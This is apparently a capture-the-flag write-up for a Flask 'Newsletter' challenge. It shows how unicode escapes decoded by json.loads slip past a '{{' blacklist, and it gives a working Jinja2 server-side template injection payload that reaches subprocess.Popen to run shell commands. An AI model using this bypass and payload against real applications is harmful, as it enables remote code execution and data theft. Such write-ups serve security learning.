Newsletter

We have the following route:

```
@api.route('/enroll', methods=['POST'])
def submit():
    if any(x in str(request.data) for x in ['{{', '{%']):
        return render_template_string('Invalid email! 😖 please try again!')

    enrollment = json.loads(request.get_data()).get('email', '')
    if enrollment:
        return render_template_string('The email %s is subscribed! 🥳' %
enrollment)

    return 'Something went wrong'⏎
```

The insecure `render_template_string` function is used, so the application could be vulnerable to a template injection attack. However, we have a blacklist checking for `{{` or `{%` in the input, trying to prevent us from doing Jinja2 template injection.

However, the blacklist check is performed on `request.data`, but before rendering the template, `request.data` is passed to `json.loads` and the email field of the JSON is then passed to `render_template_string`.

The important thing is that `json.loads` will decode unicode characters, so we can encode `{{` in unicode `\u007B\u007B` - the check on `request.data` will miss it, but in the JSON it will be represented as `{{`.

Therefore, we can pass the following payload (where 223 is the index of subprocess.Popen) to obtain the flag:

```
{
    "email":"\u007B\u007B ''.__class__.__mro__[1].__subclasses__()[223]('cat
flag',shell=True,stdout=-1).communicate()}}"
}
```

The payload is quite a standard Flask SSTI: We create a new-style string object, obtain its class, then using the `__mro__` builtin, find the base class (`object`). Then, we can find all new-style objects in the current Python environment by observing the `__subclasses__()` list. In any Flask application, `subprocess.Popen` will be in this list, which we can use to obtain RCE. Then, we simply print out the flag and observe it in the resulting HTML template:

`The email (b&#39;HTB{5t4irw4y_t0_Th3_n3wsl3tter_h34v3n!}&#39;, None) is subscribed! 🥳`